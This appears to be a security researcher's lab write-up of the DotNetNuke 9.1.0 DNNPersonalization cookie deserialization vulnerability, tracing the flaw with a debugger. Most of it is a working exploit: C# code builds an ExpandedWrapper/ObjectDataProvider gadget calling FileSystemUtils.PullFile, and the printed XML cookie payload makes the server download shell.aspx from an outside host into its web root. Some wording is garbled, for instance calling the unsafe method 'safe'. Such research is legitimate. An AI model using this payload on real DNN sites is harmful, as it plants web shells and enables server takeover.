
DotNetNuke (often abbreviated as DNN) is a CMS (Content Management System) platform and web application framework based on Microsoft's ASP.NET technology.
Affected Product: DotNetNuke (DNN Platform) – a popular .NET CMS/portal.
Disclosure Date: July 2017.
Severity: Critical (CVSS ~9.8).
Vulnerability Type: XML External Entity (XXE) / Insecure Deserialization → Remote Code Execution (RCE).
Affected Versions: Prior to version 9.1.1, capable of remote code execution through cookie
Here I am using Windows 10 to set up and debug the program. The version I am installing is 9.1.0. You can refer to the installation guide Here. And the result after completion is:


According to the reports I have read, this vulnerability lies in the cookie handling of DotNetNetNuke
DNN uses a safe deserialization method (unsafe deserialization) for the DNNPersonalization cookie

.dll or .exe written in .NET. You can install it Here. We need to download 2 versions for debugging purposes.
DotNetNuke.dll with the 32-bit version and select Edit Assembly Attributes (C#)
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

Then save.
Attach to Process
w3wp.exe
The reason for choosing w3wp.exe is:
w3wp.exe = IIS Worker Process.
It is the execution process of the Application Pool in IIS.
When an HTTP request is sent to the website, IIS creates or reuses a w3wp.exe to process that request (running ASP.NET code, handling modules, middleware, database connections, etc.).
Each Application Pool may have one or more w3wp.exe processes depending on configuration (web garden, recycling).
Next, select Debug -> Window -> Modules

After that, the Modules will appear. Right-click on any one and select Open All Modules

Finally, all assemblies related to DNN will appear

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)
This function is used to load the user's personalization data (profile) in the DNN portal.
If the user is logged in → load profile from database + cache.
If the user is anonymous (not logged in) → load profile from cookie DNNPersonalization.
Here we should focus on DNNPersonalization
If userId is invalid (anonymous user).
Check if the request has a cookie DNNPersonalization.
If yes → get the XML value from this cookie.
We will send a 404 request to the website and use any DNNPersonalization, use dnSpy to set a Breakpoint at DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) then we can debug


PortalSettings
The notable thing here is that it uses an if condition to check if the current request is IsAuthenticated or not
And while the request we sent is a 404 -> unauthenticated
Continue in the Call Stack, focusing on Handle404OrException

context.User is null, if so, assign context.User to the current thread user

We can see in Handle404OrException the variable IsAuthenticated now has the value true and the user is the IIS server user, so the request is executed as an authenticated user.
The reason for the issue lies in this code snippet
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
If context.User is not set → assign Thread.CurrentPrincipal (i.e., the current thread's identity).
This allows the request to have user/role information when processing further.
=> When we pass any content into the cookie with the DNNPersonalization variable, it will execute as a normal user.
Still in DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)
We see the variable text receives the value from the cookie value and then is used as input for Globals.DeserializeHashTableXml()

Globals.DeserializeHashTableXml()
The function DeserializeHashTableXml has the task:
Takes an XML string (Source).
Parses that XML string to convert it into a Hashtable object.
During parsing, it calls the function XmlUtils.DeSerializeHashtable, with the parameter "profile" to specify the root XML node.
Go inside XmlUtils.DeSerializeHashtable and we see how it processes

The function DeSerializeHashtable takes an XML string and converts it into a Hashtable. For each <item> node, the function:
Gets the key as the key.
Gets the type and then calls Type.GetType(type) to determine the data type.
Uses XmlSerializer.Deserialize to convert the XML content into an actual object.
Adds to the Hashtable.
👉 Problem: because type and the XML content are completely controlled by the user (from the cookie DNNPersonalization)
Based on XmlUtils#DeSerializeHashtable being the vulnerability location, create a similar program to serialize and deserialize objects:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// create xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// create item child node with type attribute containing the object type name
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj to xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// add this serialized xml object to the item node and add item node to root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml file will look like this:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

Deserialize is performedFileSystemUtils PullFile method
Explanation:
PullFile(string URL, string FilePath) — a static method in FileSystemUtils used to download content from a URL to a local FilePath.
Inside, it uses WebClient.DownloadFile(URL, FilePath) — the action to download and write the file.
catch only logs the error and returns a message; does not rethrow.
But the problem is:
XmlSerializer cannot serialize class methods, only public fields and properties. The public fields and properties of the FileSystemUtils class do not allow calling the PullFile method.
Let's move to the ObjectDataProvider Class
ObjectDataProvider is a class in WPF (namespace System.Windows.Data, module PresentationFramework.dll).
Capable of calling runtime methods — not only storing data, but can perform actions (side-effects) by calling any method on the wrapped object.
Allows passing parameters — attackers can control the parameters passed to the method (e.g., URL and file path for a PullFile method).
ObjectDataProvider itself does not “execute code” like an interpreter — but it can call any public method on the wrapped object. Therefore, if there is a public method with dangerous side-effects (e.g., download file, exec process, write file), the chain can achieve it.

Here it is calling Refresh() of DataSourceProvider

Continue to BeginQuery() and note that ObjectDataProvider inherits from DataSourceProvider and we go to BeginQuery() of ObjectDataProvider

Continue with QueryWorker

It will call InvokeMethodOnInstance

InvokeMethodOnInstance is the actual execution (invoke) method — it uses reflection to call the specified method (MethodName) on the object that ObjectDataProvider is “wrapping” (or on the type if static), passing the list of MethodParameters, and returns the return value of that method.
Using the JetBrains Rider IDE to write the script, need to reference DotNetNuke.dll and PresentationFramework.dll module.

The payload to execute is as follows:
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (if you have added the DLL)
using System.Data.Services.Internal; // ExpandedWrapper (if available)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// create xml root element
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// create item child node with type attribute containing the object type name
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serialize obj to xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// add this serialized xml object to the item node and add item node to root element
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
We get the xml file:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Perform payload injection



Let's exploit

Additionally, we can use the ysoserial.NET tool to generate the payload


Furthermore, we can also exploit file reading via WriteFile method of the FileSystemUtils class

